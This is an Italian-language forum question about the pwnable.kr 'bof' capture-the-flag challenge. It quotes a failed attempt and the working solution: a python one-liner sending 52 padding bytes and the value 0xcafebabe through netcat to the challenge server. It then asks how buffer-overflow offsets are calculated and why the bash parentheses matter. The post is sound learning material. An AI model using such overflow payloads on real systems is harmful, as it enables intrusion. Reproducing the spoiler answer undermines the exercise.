Questo problema è "bof" tratto dal link . Stavo giocando con diversi carichi utili, aumentando di 4 byte di rifiuti ciascuno e cercando modi per aggirare i canarini distruttivi.
Questo è un payload di esempio che ho provato:
python -c 'print "A" * 52 + "\xbe\xba\xfe\xca"'; cat - | nc pwnable.kr
Dopo alcune ore, ho rinunciato e ho cercato in giro. La risposta, SPOILERS :
(python -c 'print "A" * 52 + "\xbe\xba\xfe\xca"'; cat - )| nc pwnable.kr 9000
1) Ho imparato da qualcuno che un offset per un buffer overflow può essere azzeccato aggiungendo solo 4 byte alla lunghezza dell'array char originale fino a quando non viene trovato. Come calcoli matematicamente gli offset?
2) Perché l'aggiunta di parentesi fa sì che il comando bash funzioni correttamente dove è quasi identico a quello che ho provato